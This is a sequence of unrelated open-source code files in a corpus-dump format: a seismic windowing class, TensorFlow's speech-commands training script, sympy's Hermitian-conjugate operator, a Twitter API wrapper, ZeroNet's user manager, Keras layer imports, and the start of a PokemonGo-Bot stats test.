self._right = int(value)
@property
def weight(self):
"""
The weight of the window used for the weighted interval scheduling.
Either calls a potentially passed window weight function or defaults
to the window length in number of minimum periods times the cross
correlation coefficient.
"""
if self.weight_function:
return self.weight_function(self)
if self.max_cc_value is None:
return None
return (self.right - self.left) * self.dt / self.min_period * \
self.max_cc_value
def __repr__(self):
return (
"Window(left={left}, right={right}, center={center}, "
"channel_id={channel_id}, "
"max_cc_value={max_cc_value}, cc_shift={cc_shift}, dlnA={dlnA})"
.format(left=self.left, right=self.right, center=self.center,
channel_id=self.channel_id, max_cc_value=self.max_cc_value,
cc_shift=self.cc_shift, dlnA=self.dlnA))
def _xcorr_win(self, d, s):
cc = np.correlate(d, s, mode="full")
time_shift = cc.argmax() - len(d) + 1
# Normalized cross correlation.
max_cc_value = cc.max() / np.sqrt((s ** 2).sum() * (d ** 2).sum())
return max_cc_value, time_shift
def _dlnA_win(self, d, s):
return 0.5 * np.log(np.sum(d ** 2) / np.sum(s ** 2))
def _calc_criteria(self, d, s):
d = d[self.left: self.right + 1]
s = s[self.left: self.right + 1]
v, shift = self._xcorr_win(d, s)
dlnA = self._dlnA_win(d, s)
self.max_cc_value = v
self.cc_shift = shift
self.dlnA = dlnA
| mit |
benoitsteiner/tensorflow-xsmm | tensorflow/examples/speech_commands/train.py | 9 | 16646 | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
r"""Simple speech recognition to spot a limited number of keywords.
This is a self-contained example script that will train a very basic audio
recognition model in TensorFlow. It downloads the necessary training data and
runs with reasonable defaults to train within a few hours even only using a CPU.
For more information, please see
https://www.tensorflow.org/tutorials/audio_recognition.
It is intended as an introduction to using neural networks for audio
recognition, and is not a full speech recognition system. For more advanced
speech systems, I recommend looking into Kaldi. This network uses a keyword
detection style to spot discrete words from a small vocabulary, consisting of
"yes", "no", "up", "down", "left", "right", "on", "off", "stop", and "go".
To run the training process, use:
bazel run tensorflow/examples/speech_commands:train
This will write out checkpoints to /tmp/speech_commands_train/, and will
download over 1GB of open source training data, so you'll need enough free space
and a good internet connection. The default data is a collection of thousands of
one-second .wav files, each containing one spoken word. This data set is
collected from https://aiyprojects.withgoogle.com/open_speech_recording, please
consider contributing to help improve this and other models!
As training progresses, it will print out its accuracy metrics, which should
rise above 90% by the end. Once it's complete, you can run the freeze script to
get a binary GraphDef that you can easily deploy on mobile applications.
If you want to train on your own data, you'll need to create .wavs with your
recordings, all at a consistent length, and then arrange them into subfolders
organized by label. For example, here's a possible file structure:
my_wavs >
up >
audio_0.wav
audio_1.wav
down >
audio_2.wav
audio_3.wav
other>
audio_4.wav
audio_5.wav
You'll also need to tell the script what labels to look for, using the
`--wanted_words` argument. In this case, 'up,down' might be what you want, and
the audio in the 'other' folder would be used to train an 'unknown' category.
To pull this all together, you'd run:
bazel run tensorflow/examples/speech_commands:train -- \
--data_dir=my_wavs --wanted_words=up,down
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import os.path
import sys
import numpy as np
from six.moves import xrange # pylint: disable=redefined-builtin
import tensorflow as tf
import input_data
import models
from tensorflow.python.platform import gfile
FLAGS = None
def main(_):
# We want to see all the logging messages for this tutorial.
tf.logging.set_verbosity(tf.logging.INFO)
# Start a new TensorFlow session.
sess = tf.InteractiveSession()
# Begin by making sure we have the training data we need. If you already have
# training data of your own, use `--data_url= ` on the command line to avoid
# downloading.
model_settings = models.prepare_model_settings(
len(input_data.prepare_words_list(FLAGS.wanted_words.split(','))),
FLAGS.sample_rate, FLAGS.clip_duration_ms, FLAGS.window_size_ms,
FLAGS.window_stride_ms, FLAGS.dct_coefficient_count)
audio_processor = input_data.AudioProcessor(
FLAGS.data_url, FLAGS.data_dir, FLAGS.silence_percentage,
FLAGS.unknown_percentage,
FLAGS.wanted_words.split(','), FLAGS.validation_percentage,
FLAGS.testing_percentage, model_settings)
fingerprint_size = model_settings['fingerprint_size']
label_count = model_settings['label_count']
time_shift_samples = int((FLAGS.time_shift_ms * FLAGS.sample_rate) / 1000)
# Figure out the learning rates for each training phase. Since it's often
# effective to have high learning rates at the start of training, followed by
# lower levels towards the end, the number of steps and learning rates can be
# specified as comma-separated lists to define the rate at each stage. For
# example --how_many_training_steps=10000,3000 --learning_rate=0.001,0.0001
# will run 13,000 training loops in total, with a rate of 0.001 for the first
# 10,000, and 0.0001 for the final 3,000.
training_steps_list = list(map(int, FLAGS.how_many_training_steps.split(',')))
learning_rates_list = list(map(float, FLAGS.learning_rate.split(',')))
if len(training_steps_list) != len(learning_rates_list):
raise Exception(
'--how_many_training_steps and --learning_rate must be equal length '
'lists, but are %d and %d long instead' % (len(training_steps_list),
len(learning_rates_list)))
fingerprint_input = tf.placeholder(
tf.float32, [None, fingerprint_size], name='fingerprint_input')
logits, dropout_prob = models.create_model(
fingerprint_input,
model_settings,
FLAGS.model_architecture,
is_training=True)
# Define loss and optimizer
ground_truth_input = tf.placeholder(
tf.int64, [None], name='groundtruth_input')
# Optionally we can add runtime checks to spot when NaNs or other symptoms of
# numerical errors start occurring during training.
control_dependencies = []
if FLAGS.check_nans:
checks = tf.add_check_numerics_ops()
control_dependencies = [checks]
# Create the back propagation and training evaluation machinery in the graph.
with tf.name_scope('cross_entropy'):
cross_entropy_mean = tf.losses.sparse_softmax_cross_entropy(
labels=ground_truth_input, logits=logits)
tf.summary.scalar('cross_entropy', cross_entropy_mean)
with tf.name_scope('train'), tf.control_dependencies(control_dependencies):
learning_rate_input = tf.placeholder(
tf.float32, [], name='learning_rate_input')
train_step = tf.train.GradientDescentOptimizer(
learning_rate_input).minimize(cross_entropy_mean)
predicted_indices = tf.argmax(logits, 1)
correct_prediction = tf.equal(predicted_indices, ground_truth_input)
confusion_matrix = tf.confusion_matrix(
ground_truth_input, predicted_indices, num_classes=label_count)
evaluation_step = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))
tf.summary.scalar('accuracy', evaluation_step)
global_step = tf.train.get_or_create_global_step()
increment_global_step = tf.assign(global_step, global_step + 1)
saver = tf.train.Saver(tf.global_variables())
# Merge all the summaries and write them out to /tmp/retrain_logs (by default)
merged_summaries = tf.summary.merge_all()
train_writer = tf.summary.FileWriter(FLAGS.summaries_dir + '/train',
sess.graph)
validation_writer = tf.summary.FileWriter(FLAGS.summaries_dir + '/validation')
tf.global_variables_initializer().run()
start_step = 1
if FLAGS.start_checkpoint:
models.load_variables_from_checkpoint(sess, FLAGS.start_checkpoint)
start_step = global_step.eval(session=sess)
tf.logging.info('Training from step: %d ', start_step)
# Save graph.pbtxt.
tf.train.write_graph(sess.graph_def, FLAGS.train_dir,
FLAGS.model_architecture + '.pbtxt')
# Save list of words.
with gfile.GFile(
os.path.join(FLAGS.train_dir, FLAGS.model_architecture + '_labels.txt'),
'w') as f:
f.write('\n'.join(audio_processor.words_list))
# Training loop.
training_steps_max = np.sum(training_steps_list)
for training_step in xrange(start_step, training_steps_max + 1):
# Figure out what the current learning rate is.
training_steps_sum = 0
for i in range(len(training_steps_list)):
training_steps_sum += training_steps_list[i]
if training_step <= training_steps_sum:
learning_rate_value = learning_rates_list[i]
break
# Pull the audio samples we'll use for training.
train_fingerprints, train_ground_truth = audio_processor.get_data(
FLAGS.batch_size, 0, model_settings, FLAGS.background_frequency,
FLAGS.background_volume, time_shift_samples, 'training', sess)
# Run the graph with this batch of training data.
train_summary, train_accuracy, cross_entropy_value, _, _ = sess.run(
[
merged_summaries, evaluation_step, cross_entropy_mean, train_step,
increment_global_step
],
feed_dict={
fingerprint_input: train_fingerprints,
ground_truth_input: train_ground_truth,
learning_rate_input: learning_rate_value,
dropout_prob: 0.5
})
train_writer.add_summary(train_summary, training_step)
tf.logging.info('Step #%d: rate %f, accuracy %.1f%%, cross entropy %f' %
(training_step, learning_rate_value, train_accuracy * 100,
cross_entropy_value))
is_last_step = (training_step == training_steps_max)
if (training_step % FLAGS.eval_step_interval) == 0 or is_last_step:
set_size = audio_processor.set_size('validation')
total_accuracy = 0
total_conf_matrix = None
for i in xrange(0, set_size, FLAGS.batch_size):
validation_fingerprints, validation_ground_truth = (
audio_processor.get_data(FLAGS.batch_size, i, model_settings, 0.0,
0.0, 0, 'validation', sess))
# Run a validation step and capture training summaries for TensorBoard
# with the `merged` op.
validation_summary, validation_accuracy, conf_matrix = sess.run(
[merged_summaries, evaluation_step, confusion_matrix],
feed_dict={
fingerprint_input: validation_fingerprints,
ground_truth_input: validation_ground_truth,
dropout_prob: 1.0
})
validation_writer.add_summary(validation_summary, training_step)
batch_size = min(FLAGS.batch_size, set_size - i)
total_accuracy += (validation_accuracy * batch_size) / set_size
if total_conf_matrix is None:
total_conf_matrix = conf_matrix
else:
total_conf_matrix += conf_matrix
tf.logging.info('Confusion Matrix:\n %s' % (total_conf_matrix))
tf.logging.info('Step %d: Validation accuracy = %.1f%% (N=%d)' %
(training_step, total_accuracy * 100, set_size))
# Save the model checkpoint periodically.
if (training_step % FLAGS.save_step_interval == 0 or
training_step == training_steps_max):
checkpoint_path = os.path.join(FLAGS.train_dir,
FLAGS.model_architecture + '.ckpt')
tf.logging.info('Saving to "%s-%d"', checkpoint_path, training_step)
saver.save(sess, checkpoint_path, global_step=training_step)
set_size = audio_processor.set_size('testing')
tf.logging.info('set_size=%d', set_size)
total_accuracy = 0
total_conf_matrix = None
for i in xrange(0, set_size, FLAGS.batch_size):
test_fingerprints, test_ground_truth = audio_processor.get_data(
FLAGS.batch_size, i, model_settings, 0.0, 0.0, 0, 'testing', sess)
test_accuracy, conf_matrix = sess.run(
[evaluation_step, confusion_matrix],
feed_dict={
fingerprint_input: test_fingerprints,
ground_truth_input: test_ground_truth,
dropout_prob: 1.0
})
batch_size = min(FLAGS.batch_size, set_size - i)
total_accuracy += (test_accuracy * batch_size) / set_size
if total_conf_matrix is None:
total_conf_matrix = conf_matrix
else:
total_conf_matrix += conf_matrix
tf.logging.info('Confusion Matrix:\n %s' % (total_conf_matrix))
tf.logging.info('Final test accuracy = %.1f%% (N=%d)' % (total_accuracy * 100,
set_size))
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--data_url',
type=str,
# pylint: disable=line-too-long
default='http://download.tensorflow.org/data/speech_commands_v0.02.tar.gz',
# pylint: enable=line-too-long
help='Location of speech training data archive on the web.')
parser.add_argument(
'--data_dir',
type=str,
default='/tmp/speech_dataset/',
help="""\
Where to download the speech training data to.
""")
parser.add_argument(
'--background_volume',
type=float,
default=0.1,
help="""\
How loud the background noise should be, between 0 and 1.
""")
parser.add_argument(
'--background_frequency',
type=float,
default=0.8,
help="""\
How many of the training samples have background noise mixed in.
""")
parser.add_argument(
'--silence_percentage',
type=float,
default=10.0,
help="""\
How much of the training data should be silence.
""")
parser.add_argument(
'--unknown_percentage',
type=float,
default=10.0,
help="""\
How much of the training data should be unknown words.
""")
parser.add_argument(
'--time_shift_ms',
type=float,
default=100.0,
help="""\
Range to randomly shift the training audio by in time.
""")
parser.add_argument(
'--testing_percentage',
type=int,
default=10,
help='What percentage of wavs to use as a test set.')
parser.add_argument(
'--validation_percentage',
type=int,
default=10,
help='What percentage of wavs to use as a validation set.')
parser.add_argument(
'--sample_rate',
type=int,
default=16000,
help='Expected sample rate of the wavs',)
parser.add_argument(
'--clip_duration_ms',
type=int,
default=1000,
help='Expected duration in milliseconds of the wavs',)
parser.add_argument(
'--window_size_ms',
type=float,
default=30.0,
help='How long each spectrogram timeslice is.',)
parser.add_argument(
'--window_stride_ms',
type=float,
default=10.0,
help='How far to move in time between spectogram timeslices.',)
parser.add_argument(
'--dct_coefficient_count',
type=int,
default=40,
help='How many bins to use for the MFCC fingerprint',)
parser.add_argument(
'--how_many_training_steps',
type=str,
default='15000,3000',
help='How many training loops to run',)
parser.add_argument(
'--eval_step_interval',
type=int,
default=400,
help='How often to evaluate the training results.')
parser.add_argument(
'--learning_rate',
type=str,
default='0.001,0.0001',
help='How large a learning rate to use when training.')
parser.add_argument(
'--batch_size',
type=int,
default=100,
help='How many items to train with at once',)
parser.add_argument(
'--summaries_dir',
type=str,
default='/tmp/retrain_logs',
help='Where to save summary logs for TensorBoard.')
parser.add_argument(
'--wanted_words',
type=str,
default='yes,no,up,down,left,right,on,off,stop,go',
help='Words to use (others will be added to an unknown label)',)
parser.add_argument(
'--train_dir',
type=str,
default='/tmp/speech_commands_train',
help='Directory to write event logs and checkpoint.')
parser.add_argument(
'--save_step_interval',
type=int,
default=100,
help='Save model checkpoint every save_steps.')
parser.add_argument(
'--start_checkpoint',
type=str,
default='',
help='If specified, restore this pretrained model before any training.')
parser.add_argument(
'--model_architecture',
type=str,
default='conv',
help='What model architecture to use')
parser.add_argument(
'--check_nans',
type=bool,
default=False,
help='Whether to check for invalid numbers during processing')
FLAGS, unparsed = parser.parse_known_args()
tf.app.run(main=main, argv=[sys.argv[0]] + unparsed)
| apache-2.0 |
ichuang/sympy | sympy/physics/quantum/dagger.py | 1 | 4556 | """Hermitian conjugation."""
from sympy import Expr, sympify, Add, Mul, Matrix, Pow
from sympy.physics.quantum.qexpr import QExpr
from sympy.physics.quantum.matrixutils import (
numpy_ndarray, scipy_sparse_matrix, matrix_dagger
)
__all__ = [
'Dagger'
]
class Dagger(Expr):
"""General Hermitian conjugate operation.
Take the Hermetian conjugate of an argument [1]_. For matrices this
operation is equivalent to transpose and complex conjugate [2]_.
Parameters
==========
arg : Expr
The sympy expression that we want to take the dagger of.
Examples
========
Daggering various quantum objects:
>>> from sympy.physics.quantum.dagger import Dagger
>>> from sympy.physics.quantum.state import Ket, Bra
>>> from sympy.physics.quantum.operator import Operator
>>> Dagger(Ket('psi'))
<psi|
>>> Dagger(Bra('phi'))
|phi>
>>> Dagger(Operator('A'))
Dagger(A)
Inner and outer products::
>>> from sympy.physics.quantum import InnerProduct, OuterProduct
>>> Dagger(InnerProduct(Bra('a'), Ket('b')))
<b|a>
>>> Dagger(OuterProduct(Ket('a'), Bra('b')))
|b><a|
Powers, sums and products::
>>> A = Operator('A')
>>> B = Operator('B')
>>> Dagger(A*B)
Dagger(B)*Dagger(A)
>>> Dagger(A+B)
Dagger(A) + Dagger(B)
>>> Dagger(A**2)
Dagger(A)**2
Dagger also seamlessly handles complex numbers and matrices::
>>> from sympy import Matrix, I
>>> m = Matrix([[1,I],[2,I]])
>>> m
[1, I]
[2, I]
>>> Dagger(m)
[ 1, 2]
[-I, -I]
References
==========
.. [1] http://en.wikipedia.org/wiki/Hermitian_adjoint
.. [2] http://en.wikipedia.org/wiki/Hermitian_transpose
"""
def __new__(cls, arg, **old_assumptions):
# Return the dagger of a sympy Matrix immediately.
if isinstance(arg, (Matrix, numpy_ndarray, scipy_sparse_matrix)):
return matrix_dagger(arg)
arg = sympify(arg)
r = cls.eval(arg)
if isinstance(r, Expr):
return r
#make unevaluated dagger commutative or non-commutative depending on arg
if arg.is_commutative:
obj = Expr.__new__(cls, arg, **{'commutative':True})
else:
obj = Expr.__new__(cls, arg, **{'commutative':False})
if isinstance(obj, QExpr):
obj.hilbert_space = arg.hilbert_space
return obj
@classmethod
def eval(cls, arg):
"""Evaluates the Dagger instance."""
from sympy.physics.quantum.operator import Operator
try:
d = arg._eval_dagger()
except (NotImplementedError, AttributeError):
if isinstance(arg, Expr):
if isinstance(arg, Operator):
# Operator without _eval_dagger
return None
if arg.is_Add:
return Add(*[Dagger(i) for i in arg.args])
if arg.is_Mul:
return Mul(*[Dagger(i) for i in reversed(arg.args)])
if arg.is_Pow:
return Pow(Dagger(arg.args[0]),arg.args[1])
else:
if arg.is_Number \
or arg.is_Function or arg.is_Derivative\
or arg.is_Integer or arg.is_NumberSymbol\
or arg.is_number\
or arg.is_complex or arg.is_integer\
or arg.is_real:
return arg.conjugate()
else:
return None
else:
return None
else:
return d
def _eval_dagger(self):
return self.args[0]
def _sympyrepr(self, printer, *args):
arg0 = printer._print(self.args[0], *args)
return '%s(%s)' % (self.__class__.__name__, arg0)
def _sympystr(self, printer, *args):
arg0 = printer._print(self.args[0], *args)
return '%s(%s)' % (self.__class__.__name__, arg0)
def _pretty(self, printer, *args):
from sympy.printing.pretty.stringpict import prettyForm
pform = printer._print(self.args[0], *args)
pform = pform**prettyForm(u'\u2020')
return pform
def _latex(self, printer, *args):
arg = printer._print(self.args[0])
return '%s^{\\dag}' % arg
| bsd-3-clause |
sovnarkom/instwitter-py | instwitter/rest/partial/status.py | 1 | 3165 | '''
Created on Jul 31, 2009
@author: aleksandrcicenin
'''
from .. import RESTAPI, authneeded
class StatusAPI(RESTAPI):
def status_show(self, id):
path = self._get_method_path('statuses/show/' + id)
return self._get_request_data(path)
@authneeded
def status_update(self, status, in_reply_to_status_id=None):
params = self._filter_method_params(locals())
path = self._get_method_path('statuses/update')
return self._post_request_data(path, params, True)
@authneeded
def status_retweet(self, id):
path = self._get_method_path('statuses/retweet/' + id)
return self._post_request_data(path, {}, True)
@authneeded
def status_destroy(self, id):
path = self._get_method_path('statuses/destroy/' + id)
return self._post_request_data(path, None, True, 'DELETE')
def statuses_public_timeline(self):
path = self._get_method_path('statuses/public_timeline')
return self._get_request_data(path)
@authneeded
def statuses_friends_timeline(self, since_id=None, max_id=None, count=None, page=None):
params = self._filter_method_params(locals())
path = self._get_method_path('statuses/friends_timeline')
return self._get_request_data(path, params, True)
@authneeded
def statuses_home_timeline(self, since_id=None, max_id=None, count=None, page=None):
params = self._filter_method_params(locals())
path = self._get_method_path('statuses/home_timeline')
return self._get_request_data(path, params, True)
@authneeded
def statuses_retweeted_by_me(self, since_id=None, max_id=None, count=None, page=None):
params = self._filter_method_params(locals())
path = self._get_method_path('statuses/retweeted_by_me')
return self._get_request_data(path, params, True)
@authneeded
def statuses_retweeted_to_me(self, since_id=None, max_id=None, count=None, page=None):
params = self._filter_method_params(locals())
path = self._get_method_path('statuses/retweeted_to_me')
return self._get_request_data(path, params, True)
@authneeded
def statuses_retweets_of_me(self, since_id=None, max_id=None, count=None, page=None):
params = self._filter_method_params(locals())
path = self._get_method_path('statuses/retweets_of_me')
return self._get_request_data(path, params, True)
def statuses_user_timeline(self, id=None, user_id=None, screen_name=None, since_id=None, max_id=None, count=None, page=None):
params = self._filter_method_params(locals(), ['id'])
if id is not None:
path = self._get_method_path('statuses/user_timeline/' + id)
else:
path = self._get_method_path('statuses/user_timeline')
return self._get_request_data(path, params, self.can_authorize())
@authneeded
def statuses_mentions(self, since_id=None, max_id=None, count=None, page=None):
params = self._filter_method_params(locals())
path = self._get_method_path('statuses/mentions')
return self._get_request_data(path, params, True)
| mit |
sirMackk/ZeroNet | src/User/UserManager.py | 21 | 2426 | # Included modules
import json
import logging
# ZeroNet Modules
from User import User
from Plugin import PluginManager
from Config import config
@PluginManager.acceptPlugins
class UserManager(object):
def __init__(self):
self.users = {}
# Load all user from data/users.json
def load(self):
if not self.users:
self.users = {}
user_found = []
added = 0
# Load new users
for master_address, data in json.load(open("%s/users.json" % config.data_dir)).items():
if master_address not in self.users:
user = User(master_address, data=data)
self.users[master_address] = user
added += 1
user_found.append(master_address)
# Remove deleted adresses
for master_address in self.users.keys():
if master_address not in user_found:
del(self.users[master_address])
logging.debug("Removed user: %s" % master_address)
if added:
logging.debug("UserManager added %s users" % added)
# Create new user
# Return: User
def create(self, master_address=None, master_seed=None):
user = User(master_address, master_seed)
logging.debug("Created user: %s" % user.master_address)
if user.master_address: # If successfully created
self.users[user.master_address] = user
user.save()
return user
# List all users from data/users.json
# Return: {"usermasteraddr": User}
def list(self):
if self.users == {}: # Not loaded yet
self.load()
return self.users
# Get user based on master_address
# Return: User or None
def get(self, master_address=None):
users = self.list()
if users:
return users.values()[0] # Single user mode, always return the first
else:
return None
user_manager = UserManager() # Singleton
# Debug: Reload User.py
def reloadModule():
return "Not used"
import imp
global User, UserManager, user_manager
User = imp.load_source("User", "src/User/User.py").User # Reload source
# module = imp.load_source("UserManager", "src/User/UserManager.py") # Reload module
# UserManager = module.UserManager
# user_manager = module.user_manager
# Reload users
user_manager = UserManager()
user_manager.load()
| gpl-2.0 |
kobejean/tensorflow | tensorflow/python/keras/layers/__init__.py | 18 | 8524 | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Keras layers API."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
# Generic layers.
# pylint: disable=g-bad-import-order
from tensorflow.python.keras.engine.input_layer import Input
from tensorflow.python.keras.engine.input_layer import InputLayer
from tensorflow.python.keras.engine.base_layer import InputSpec
from tensorflow.python.keras.engine.base_layer import Layer
# Advanced activations.
from tensorflow.python.keras.layers.advanced_activations import LeakyReLU
from tensorflow.python.keras.layers.advanced_activations import PReLU
from tensorflow.python.keras.layers.advanced_activations import ELU
from tensorflow.python.keras.layers.advanced_activations import ReLU
from tensorflow.python.keras.layers.advanced_activations import ThresholdedReLU
from tensorflow.python.keras.layers.advanced_activations import Softmax
# Convolution layers.
from tensorflow.python.keras.layers.convolutional import Conv1D
from tensorflow.python.keras.layers.convolutional import Conv2D
from tensorflow.python.keras.layers.convolutional import Conv3D
from tensorflow.python.keras.layers.convolutional import Conv2DTranspose
from tensorflow.python.keras.layers.convolutional import Conv3DTranspose
from tensorflow.python.keras.layers.convolutional import SeparableConv1D
from tensorflow.python.keras.layers.convolutional import SeparableConv2D
# Convolution layer aliases.
from tensorflow.python.keras.layers.convolutional import Convolution1D
from tensorflow.python.keras.layers.convolutional import Convolution2D
from tensorflow.python.keras.layers.convolutional import Convolution3D
from tensorflow.python.keras.layers.convolutional import Convolution2DTranspose
from tensorflow.python.keras.layers.convolutional import Convolution3DTranspose
from tensorflow.python.keras.layers.convolutional import SeparableConvolution1D
from tensorflow.python.keras.layers.convolutional import SeparableConvolution2D
from tensorflow.python.keras.layers.convolutional import DepthwiseConv2D
# Image processing layers.
from tensorflow.python.keras.layers.convolutional import UpSampling1D
from tensorflow.python.keras.layers.convolutional import UpSampling2D
from tensorflow.python.keras.layers.convolutional import UpSampling3D
from tensorflow.python.keras.layers.convolutional import ZeroPadding1D
from tensorflow.python.keras.layers.convolutional import ZeroPadding2D
from tensorflow.python.keras.layers.convolutional import ZeroPadding3D
from tensorflow.python.keras.layers.convolutional import Cropping1D
from tensorflow.python.keras.layers.convolutional import Cropping2D
from tensorflow.python.keras.layers.convolutional import Cropping3D
# Core layers.
from tensorflow.python.keras.layers.core import Masking
from tensorflow.python.keras.layers.core import Dropout
from tensorflow.python.keras.layers.core import SpatialDropout1D
from tensorflow.python.keras.layers.core import SpatialDropout2D
from tensorflow.python.keras.layers.core import SpatialDropout3D
from tensorflow.python.keras.layers.core import Activation
from tensorflow.python.keras.layers.core import Reshape
from tensorflow.python.keras.layers.core import Permute
from tensorflow.python.keras.layers.core import Flatten
from tensorflow.python.keras.layers.core import RepeatVector
from tensorflow.python.keras.layers.core import Lambda
from tensorflow.python.keras.layers.core import Dense
from tensorflow.python.keras.layers.core import ActivityRegularization
# Embedding layers.
from tensorflow.python.keras.layers.embeddings import Embedding
# Locally-connected layers.
from tensorflow.python.keras.layers.local import LocallyConnected1D
from tensorflow.python.keras.layers.local import LocallyConnected2D
# Merge layers.
from tensorflow.python.keras.layers.merge import Add
from tensorflow.python.keras.layers.merge import Subtract
from tensorflow.python.keras.layers.merge import Multiply
from tensorflow.python.keras.layers.merge import Average
from tensorflow.python.keras.layers.merge import Maximum
from tensorflow.python.keras.layers.merge import Minimum
from tensorflow.python.keras.layers.merge import Concatenate
from tensorflow.python.keras.layers.merge import Dot
from tensorflow.python.keras.layers.merge import add
from tensorflow.python.keras.layers.merge import subtract
from tensorflow.python.keras.layers.merge import multiply
from tensorflow.python.keras.layers.merge import average
from tensorflow.python.keras.layers.merge import maximum
from tensorflow.python.keras.layers.merge import minimum
from tensorflow.python.keras.layers.merge import concatenate
from tensorflow.python.keras.layers.merge import dot
# Noise layers.
from tensorflow.python.keras.layers.noise import AlphaDropout
from tensorflow.python.keras.layers.noise import GaussianNoise
from tensorflow.python.keras.layers.noise import GaussianDropout
# Normalization layers.
from tensorflow.python.keras.layers.normalization import BatchNormalization
# Pooling layers.
from tensorflow.python.keras.layers.pooling import MaxPooling1D
from tensorflow.python.keras.layers.pooling import MaxPooling2D
from tensorflow.python.keras.layers.pooling import MaxPooling3D
from tensorflow.python.keras.layers.pooling import AveragePooling1D
from tensorflow.python.keras.layers.pooling import AveragePooling2D
from tensorflow.python.keras.layers.pooling import AveragePooling3D
from tensorflow.python.keras.layers.pooling import GlobalAveragePooling1D
from tensorflow.python.keras.layers.pooling import GlobalAveragePooling2D
from tensorflow.python.keras.layers.pooling import GlobalAveragePooling3D
from tensorflow.python.keras.layers.pooling import GlobalMaxPooling1D
from tensorflow.python.keras.layers.pooling import GlobalMaxPooling2D
from tensorflow.python.keras.layers.pooling import GlobalMaxPooling3D
# Pooling layer aliases.
from tensorflow.python.keras.layers.pooling import MaxPool1D
from tensorflow.python.keras.layers.pooling import MaxPool2D
from tensorflow.python.keras.layers.pooling import MaxPool3D
from tensorflow.python.keras.layers.pooling import AvgPool1D
from tensorflow.python.keras.layers.pooling import AvgPool2D
from tensorflow.python.keras.layers.pooling import AvgPool3D
from tensorflow.python.keras.layers.pooling import GlobalAvgPool1D
from tensorflow.python.keras.layers.pooling import GlobalAvgPool2D
from tensorflow.python.keras.layers.pooling import GlobalAvgPool3D
from tensorflow.python.keras.layers.pooling import GlobalMaxPool1D
from tensorflow.python.keras.layers.pooling import GlobalMaxPool2D
from tensorflow.python.keras.layers.pooling import GlobalMaxPool3D
# Recurrent layers.
from tensorflow.python.keras.layers.recurrent import RNN
from tensorflow.python.keras.layers.recurrent import StackedRNNCells
from tensorflow.python.keras.layers.recurrent import SimpleRNNCell
from tensorflow.python.keras.layers.recurrent import GRUCell
from tensorflow.python.keras.layers.recurrent import LSTMCell
from tensorflow.python.keras.layers.recurrent import SimpleRNN
from tensorflow.python.keras.layers.recurrent import GRU
from tensorflow.python.keras.layers.recurrent import LSTM
# Convolutional-recurrent layers.
from tensorflow.python.keras.layers.convolutional_recurrent import ConvLSTM2D
# CuDNN recurrent layers.
from tensorflow.python.keras.layers.cudnn_recurrent import CuDNNLSTM
from tensorflow.python.keras.layers.cudnn_recurrent import CuDNNGRU
# Wrapper functions
from tensorflow.python.keras.layers.wrappers import Wrapper
from tensorflow.python.keras.layers.wrappers import Bidirectional
from tensorflow.python.keras.layers.wrappers import TimeDistributed
# Serialization functions
from tensorflow.python.keras.layers.serialization import deserialize
from tensorflow.python.keras.layers.serialization import serialize
del absolute_import
del division
del print_function
| apache-2.0 |
goshan/PokemonGo-Bot | tests/update_live_stats_test.py | 4 | 8844 | import unittest
from sys import platform as _platform
from datetime import datetime, timedelta
from mock import call, patch, MagicMock
from pokemongo_bot.cell_workers.update_live_stats import UpdateLiveStats
from tests import FakeBot
class UpdateLiveStatsTestCase(unittest.TestCase):
config = {
'min_interval': 20,
'stats': ['login', 'username', 'pokemon_evolved', 'pokemon_encountered', 'uptime',
'pokemon_caught', 'stops_visited', 'km_walked', 'level', 'stardust_earned',
'level_completion', 'xp_per_hour', 'pokeballs_thrown', 'highest_cp_pokemon',
'level_stats', 'xp_earned', 'pokemon_unseen', 'most_perfect_pokemon',
'pokemon_stats', 'pokemon_released', 'captures_per_hour'],
'terminal_log': True,
'terminal_title': False
}
# updated to account for XP levels
player_stats = {
'level': 25,
'prev_level_xp': 710000,
'next_level_xp': 900000,
'experience': 753700
}
def setUp(self):
self.bot = FakeBot()
self.bot._player = {'username': 'Username'}
self.bot.config.username = 'Login'
self.worker = UpdateLiveStats(self.bot, self.config)
def mock_metrics(self):
self.bot.metrics = MagicMock()
self.bot.metrics.runtime.return_value = timedelta(hours=15, minutes=42, seconds=13)
self.bot.metrics.distance_travelled.return_value = 42.05
self.bot.metrics.xp_per_hour.return_value = 1337.42
self.bot.metrics.xp_earned.return_value = 424242
self.bot.metrics.visits = {'latest': 250, 'start': 30}
self.bot.metrics.num_encounters.return_value = 130
self.bot.metrics.num_captures.return_value = 120
self.bot.metrics.captures_per_hour.return_value = 75
self.bot.metrics.releases = 30
self.bot.metrics.num_evolutions.return_value = 12
self.bot.metrics.num_new_mons.return_value = 3
self.bot.metrics.num_throws.return_value = 145
self.bot.metrics.earned_dust.return_value = 24069
self.bot.metrics.highest_cp = {'desc': 'highest_cp'}
self.bot.metrics.most_perfect = {'desc': 'most_perfect'}
def test_config(self):
self.assertEqual(self.worker.min_interval, self.config['min_interval'])
self.assertEqual(self.worker.displayed_stats, self.config['stats'])
self.assertEqual(self.worker.terminal_title, self.config['terminal_title'])
self.assertEqual(self.worker.terminal_log, self.config['terminal_log'])
def test_should_display_no_next_update(self):
self.worker.next_update = None
self.assertTrue(self.worker._should_display())
@patch('pokemongo_bot.cell_workers.update_live_stats.datetime')
def test_should_display_no_terminal_log_title(self, mock_datetime):
# _should_display should return False if both terminal_title and terminal_log are false
# in configuration, even if we're past next_update.
now = datetime.now()
mock_datetime.now.return_value = now + timedelta(seconds=20)
self.worker.next_update = now
